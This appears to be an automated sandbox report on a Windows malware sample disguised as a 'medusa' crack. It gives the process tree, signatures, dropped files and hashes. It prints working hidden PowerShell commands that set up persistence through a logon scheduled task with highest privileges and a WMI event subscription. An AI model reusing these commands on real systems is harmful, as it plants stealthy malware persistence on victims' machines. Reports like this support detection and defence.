Analysis

  • max time kernel
    1s
  • max time network
    5s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    03/05/2026, 15:25

Errors

Reason
Machine shutdown

General

  • Target
    newestmedusacrack.exe
  • Size 15.6MB
  • Sample260503-st4mcacs71
  • SHA256 4d61bcc180a24291e6d092fbe5f1d3903487b61fbf2a1e6ee932e5547da3f380
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\newestmedusacrack.exe
    "C:\Users\Admin\AppData\Local\Temp\newestmedusacrack.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3712
    • C:\Windows\system32\cmd.exe
      cmd /c start "" C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe
        C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe
        3⤵
        • Executes dropped EXE
        PID:2952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'vshost_70325991' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3040
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe"
    1⤵
      PID:2088
      • C:\Windows\system32\cmd.exe
        cmd /c start "" C:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exe
        2⤵
          PID:2176
          • C:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exe
            C:\Users\Admin\AppData\Local\Temp\ovld_1576046749\medusalauncher.exe
            3⤵
              PID:908
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'vshost_70325991' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4280
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'vshost_f70325991'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'vshost_c70325991'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='vshost_f70325991'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='vshost_c70325991'\"; $null = $b.Put()"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5584

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 32bc08c5e4d3fb225bce68f45cff596f7463a64f45be77de5a512808e782d047
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_1yw4bxzy.1sm.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1yw4bxzy.1sm.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              medusalauncher.exe

              • Path C:\Users\Admin\AppData\Local\Temp\ovld_2667622421\medusalauncher.exe
              • Size 5.2MB
              • SHA256 2601f64bbd5d9a2e02caa7d0d78e51f956510a1c2000584515ea6ab131f95de4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              agent-2890453353.tmp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-2890453353.tmp
              • Size 15.6MB
              • SHA256 4d61bcc180a24291e6d092fbe5f1d3903487b61fbf2a1e6ee932e5547da3f380
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/3040-53-0x000001AC18240000-0x000001AC18252000-memory.dmp

              memory/3040-51-0x000001AC16980000-0x000001AC1698C000-memory.dmp

              memory/3040-26-0x000001AC30A60000-0x000001AC30B13000-memory.dmp

              memory/3040-27-0x000001AC30B20000-0x000001AC30B2A000-memory.dmp

              memory/3040-29-0x000001AC30FC0000-0x000001AC30FDC000-memory.dmp

              memory/3040-52-0x000001AC308C0000-0x000001AC309AA000-memory.dmp

              memory/3040-11-0x000001AC308B0000-0x000001AC308C0000-memory.dmp

              memory/3040-25-0x000001AC30A40000-0x000001AC30A5C000-memory.dmp

              memory/3040-12-0x000001AC18700000-0x000001AC18722000-memory.dmp

              memory/3040-10-0x000001AC308B0000-0x000001AC308C0000-memory.dmp

              memory/4280-59-0x0000029CD5A50000-0x0000029CD5A5C000-memory.dmp

              memory/4280-61-0x0000029CD5B80000-0x0000029CD5B92000-memory.dmp

              memory/4280-60-0x0000029CEDD20000-0x0000029CEDE0A000-memory.dmp

              memory/5584-72-0x0000020E83580000-0x0000020E83592000-memory.dmp

              memory/5584-71-0x0000020E9B770000-0x0000020E9B85A000-memory.dmp

              memory/5584-70-0x0000020E830D0000-0x0000020E830DC000-memory.dmp